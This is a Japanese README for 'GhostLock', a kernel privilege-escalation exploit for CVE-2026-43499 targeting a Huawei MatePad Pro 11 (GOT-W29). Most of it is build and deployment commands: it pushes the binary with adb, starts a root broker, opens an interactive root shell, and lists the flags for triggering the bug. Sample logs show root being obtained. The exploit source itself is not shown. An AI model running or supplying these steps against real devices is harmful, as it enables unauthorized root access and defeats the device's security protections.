
HUAWEI MatePad Pro 11 GOT-W29 における CVE-2026-43499 (GhostLock) の研究
HUAWEI MatePad Pro 11(GOT-W29、SM8250 / Snapdragon 870、HarmonyOS 4.x、
カーネル 4.19.157-perf+)向けの CVE-2026-43499 権限昇格対応。
現在の状態:
u:r:shell:s0 を維持@gl_surandom/uuid ctl_table を使用し、boot_id と ashmem ノードは変更しないu:r:kernel:s0 + full caps)は依然として TODO完全な原理、オフセット、失敗モード、履歴は TECHNICAL.md を参照してください。
cd exploit/ghostlock-source
make -j3
生成物:
exploit/ghostlock-source/build/bin/ghostlock_exe
現在のマシンでは NDK sysroot + host clang によるクロスコンパイルを使用しています。詳細は exploit/ghostlock-source/TOOLCHAIN.md を参照してください。
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
A ルートの broker を起動:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
成功時のログには以下が含まれます:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
別の adb shell から実行:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'あなたのコマンド'
対話型 root shell には必ず -t を使用してください:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
broker はシェルに実際の制御端末を割り当てるため、tty は /dev/pts/N を表示し、
Ctrl-C、矢印キー、jobs、フォアグラウンド/バックグラウンドの切り替えはいずれも正常に動作します。
--fake-lock-window と --detach は現在の実機での安全な実行に不可欠なパラメータです。--hold は使用しないでください。ダングリング waiter を消費済みの worker を kill -9 で直接終了しないでください。--attempts 1 を維持してください。--verify-write、--verify-read、--verify-all は boot_id 書き込みプリミティブの自己診断であり、
boot_id の high 8 バイトを汚染するため、QEMU またはリスクを明確に許容する場合にのみ実行してください。--escalate を A ルートの代わりに使用しないでください。これは B ルートの研究用に予約されており、cred ライフサイクルのリスクがあります。cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
QEMU の詳細は tools/qemu-test/README.md を参照してください。
目標:u:r:kernel:s0 と完全な capability を取得すること。
未解決:
--simple-root A ルートの権限昇格
--su-server root broker を起動
--rsh CMD 単一コマンドを実行
--rsh-shell 完全な PTY 対話型 shell
--fake-lock-window スタック内のプライベート fake lock を使用(実機推奨)
--detach waiter を消費済みの worker を永続的に保活
--probe-cycle 現在のカーネルで安定した EDEADLK のトリガー方法
--no-rt RT waiter による CFS の餓死を回避
--attempts 1 実機では失敗時にリトライしない
--log-file PATH 永続ログ
--fsync final-result の書き込みをディスクに反映
--help で全ての自己診断および研究用パラメータを一覧表示できます。